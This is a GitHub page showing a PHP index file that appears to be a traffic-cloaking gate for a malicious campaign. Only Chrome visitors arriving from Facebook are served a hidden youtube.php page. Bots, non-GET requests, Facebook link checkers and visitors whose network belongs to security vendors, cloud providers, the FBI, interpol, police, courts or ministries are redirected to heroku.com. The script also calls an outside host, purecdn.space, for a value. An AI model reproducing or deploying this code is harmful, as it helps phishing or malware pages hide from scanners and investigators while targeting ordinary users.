-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.php
More file actions
113 lines (111 loc) · 4.28 KB
/
Copy pathindex.php
File metadata and controls
113 lines (111 loc) · 4.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
$_SERVER['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$_SERVER["REMOTE_ADDR"] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
function generate_name($length){
$rname = '';
$sesli = 'aeiou';
$sessiz = 'bcdfghjklmnprstvyz';
$rname = rand(1,2) == 1?$sessiz[rand(0,strlen($sessiz)-1)]:$sesli[rand(0,strlen($sesli)-1)];
for($n=0;$n<$length;$n++){
if(in_array($rname[strlen($rname)-1], str_split($sesli))){
$rname .= $sessiz[rand(0,strlen($sessiz)-1)];
}else{
$rname .= $sesli[rand(0,strlen($sesli)-1)];
}
}
return $rname;
}
function random($length = 10) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}
function getORG(){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://ipinfo.io/'.$_SERVER["REMOTE_ADDR"].'/org');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$org = curl_exec($ch);
curl_close($ch);
return $org;
}
function getApp(){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://purecdn.space/php/app.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$app = curl_exec($ch);
curl_close($ch);
return $app;
}
$action = 'theme';
require_once('Browser.php');
$browser = new Browser();
if($browser->isRobot()){
$action = 'theme';
}else if($browser->getBrowser() == Browser::BROWSER_CHROME){
$action = 'site';
}else{
$action = 'theme';
}
if($action == 'site'){
$_SERVER['HTTP_REFERER'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$refs = array('facebook.com');
$action = 'theme';
foreach ($refs as $ref) {
if(strpos($_SERVER['HTTP_REFERER'], $ref) !== false){
$action = 'site';
break;
}
}
}
$asnlist = array('Facebook','Google','Cloud','Linode','Kaspersky','Host','Level 3 Communications','Mcafee','Akamai International','NeuStar','Amazon','Microsoft','ocean','LeaseWeb','Radore','AVAST','QSC AG','Radix','ICANN','Dynamic Network Services','ESET','OVH SAS','layer','Dropbox','Maktek','FBI','Netguard','data-center','Data Center','datacent','LEPL','ministarstvo','ministry','hurricane','justic','navy','Black Fox Limited','WholeSale','redstation','Privax','trafficholder','rackspace','defense','Zscaler','Steadfast Networks','Federal','SingleHop','QuadraNet','Screen Saver','security','intel','govern','interpol','bitdefender','admin','cyber','apple','crime','azure','cisco','polic','bing','isprime','court','DOGAN','INETLTD','TELLCOM','AS197328','NETHOUSE','KOCNET','ASTURKNET','ULAKNET','ESOESNET','AS43260','AS198436','AS62054','DORUKNET','Digital Energy Technologies','WEDOS','ITLAS','TRABIA','Transip','incorporated','inc.', 'Ltda.', '-AS', 'meerfarbig', 'PORTLANE', 'Amsterdam, the Netherlands', 'ASGIGAS', 'Tunisia BackBone AS', 'Flycom Comunicaciones', 'Forcepoint', 'WebNX', 'Trend Micro', 'OVH Hosting');
if($action != 'theme'){
$_SERVER['GEOIP_ORG'] = getORG();
foreach ($asnlist as $asn) {
if(strpos(strtolower($_SERVER['GEOIP_ORG']), strtolower($asn)) !== false){
$action = 'theme';
break;
}
}
}
if(isset($_SERVER['HTTP_X_FB_CURL_CLIENT'])){
$action = 'theme';
}
if(isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] != 'GET'){
$action = 'theme';
}
if(isset($_SERVER['HTTP_X_PURPOSE']) || $_SERVER['HTTP_USER_AGENT'] == ''){
$action = 'theme';
}
if($action != 'theme'){
$_SERVER['HTTP_REFERER'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$bannedrefs = array('facebook.com/lsr.php','l.facebook.com/l.php','digitalocean.com','facebook.com/help','fb.me','blogspot.video');
foreach ($bannedrefs as $ref) {
if(strpos($_SERVER['HTTP_REFERER'], $ref) !== false){
$action = 'theme';
break;
}
}
}
$app_id = getApp();
$id = @$_GET["id"];
if(empty($id) || $id == "" || $id == "/"){
$id = generate_name(rand(5,10));
}
$id = isset(explode("/", $id)[1]) ? explode("/", $id)[1] : $id;
$id = isset(explode(".", $id)[0]) ? explode(".", $id)[0] : $id;
if($action == 'site'){
include("youtube.php");
exit;
}else{
@ob_end_clean();
@ob_end_flush();
header("Location: https://heroku.com");
exit;
}
?>